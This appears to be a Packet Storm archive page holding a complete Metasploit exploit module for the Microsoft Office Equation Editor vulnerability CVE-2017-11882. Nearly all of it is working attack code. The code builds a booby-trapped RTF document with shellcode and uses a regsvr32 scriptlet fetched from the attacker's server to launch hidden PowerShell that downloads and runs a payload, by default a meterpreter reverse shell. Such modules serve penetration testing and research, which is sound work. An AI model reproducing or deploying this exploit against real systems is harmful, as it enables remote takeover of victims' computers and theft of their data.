Lucene search

K
packetstormEmbediPACKETSTORM:145226
HistoryDec 06, 2017 - 12:00 a.m.

Microsoft Office Equation Editor Code Execution

2017-12-0600:00:00
embedi
packetstormsecurity.com
277

EPSS

0.974

Percentile

99.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
include Msf::Exploit::FILEFORMAT  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Office CVE-2017-11882',  
'Description' => %q{  
Module exploits a flaw in how the Equation Editor that  
allows an attacker to execute arbitrary code in RTF files without  
interaction. The vulnerability is caused by the Equation Editor,  
to which fails to properly handle OLE objects in memory.  
},  
'Author' => ['mumbai', 'embedi'],  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Nov 15 2017',  
'References' => [  
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],  
['URL', 'https://github.com/embedi/CVE-2017-11882']  
],  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
['Microsoft Office', {} ],  
],  
'DefaultTarget' => 0,  
'Payload' => {  
'DisableNops' => true  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
}  
))  
  
register_options([  
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),  
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])  
])  
end  
  
def retrieve_header(filename)  
if (not datastore['FOLDER_PATH'].nil?)  
path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"  
else  
path = nil  
end  
if (not path.nil?)  
if ::File.file?(path)  
File.open(path, 'rb') do |fd|  
header = fd.read(fd.stat.size).split('{\*\datastore').first  
header = header.to_s # otherwise I get nil class...  
print_status("Injecting #{path}...")  
return header  
end  
else  
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"  
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"  
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'  
end  
else  
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"  
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"  
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'  
end  
return header  
end  
  
  
  
def generate_rtf  
header = retrieve_header(datastore['FILENAME'])  
object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '  
object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'  
object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'  
object_class << '09000600000000000000000000000100000001000000000000000010000002000'  
object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'  
object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'  
object_class << '07400720079000000000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'  
object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'  
object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000003'  
object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'  
object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'  
object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'  
object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << "00000300040000000000000000000000000000000000000000000000000000000"  
object_class << "000000000000000000000000000000000000000000000000000000000000000\n"  
  
  
shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0  
shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al  
shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax]  
shellcode << "\x9e" # 6: 9e sahf  
shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0]  
shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\xc8" # f: 00 c8 add al,cl  
shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]  
shellcode << "\\" # 12: 5c pop esp  
shellcode << "\x00\xc4" # 13: 00 c4 add ah,al  
shellcode << "\xee" # 15: ee out dx,al  
shellcode << "[" # 16: 5b pop ebx  
shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al  
shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax  
shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx]  
shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx]  
shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl  
shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44  
shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678  
shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx  
shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax]  
shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx]  
shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx]  
shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c  
shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx  
shellcode << "\x53" # 3e: 53 push ebx  
shellcode << "\x51" # 3f: 51 push ecx  
shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64  
shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx  
shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi]  
shellcode << "\x53" # 49: 53 push ebx  
shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c  
shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax]  
shellcode << "\x90" # 50: 90 nop  
shellcode << "\x90" # 50: 90 nop  
  
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'  
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'  
footer << '00000000000000000000000000000000000000000000000000000'  
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000400'  
footer << '0000C5000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'  
footer << '000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000000000'  
footer << '000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'  
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000001050000050000000D0000004D45544146494C'  
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'  
footer << '500000002001C0000000000050000000902000000000500000002'  
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'  
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'  
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'  
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'  
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'  
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'  
footer << '00030000000000' + "\n"  
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"  
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"  
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"  
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"  
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"  
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"  
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"  
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"  
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"  
footer << "00000000\n"  
footer << "}}}\n"  
footer << '\par}' + "\n"  
  
  
payload = shellcode  
payload += [0x00402114].pack("V")  
payload += "\x00" * 2  
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"  
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first  
payload = header + object_class + payload + footer  
payload  
end  
  
  
  
def gen_psh(url, *method)  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
  
if method.include? 'string'  
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))  
else  
# Random filename to use, if there isn't anything set  
random = "#{rand_text_alphanumeric 8}.exe"  
# Set filename (Use random filename if empty)  
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']  
  
# Set path (Use %TEMP% if empty)  
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')  
  
# Join Path and Filename  
file = %Q(echo (#{path}+'\\#{filename}'))  
  
# Generate download PowerShell command  
download_string = Rex::Powershell::PshMethods.download_run(url, file)  
end  
  
download_and_run = "#{ignore_cert}#{download_string}"  
  
# Generate main PowerShell command  
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)  
end  
  
def on_request_uri(cli, _request)  
if _request.raw_uri =~ /\.sct$/  
print_status("Handling request for .sct from #{cli.peerhost}")  
payload = gen_psh("#{get_uri}", "string")  
data = gen_sct_file(payload)  
send_response(cli, data, 'Content-Type' => 'text/plain')  
else  
print_status("Delivering payload to #{cli.peerhost}...")  
p = regenerate_payload(cli)  
data = cmd_psh_payload(p.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
exec_in_place: true  
)  
send_response(cli, data, 'Content-Type' => 'application/octet-stream')  
end  
end  
  
  
def rand_class_id  
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"  
end  
  
  
def gen_sct_file(command)  
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).  
if command == ''  
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}  
# If a command is provided, tell the target system to execute it.  
else  
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}  
end  
end  
  
  
def primer  
file_create(generate_rtf)  
end  
end  
`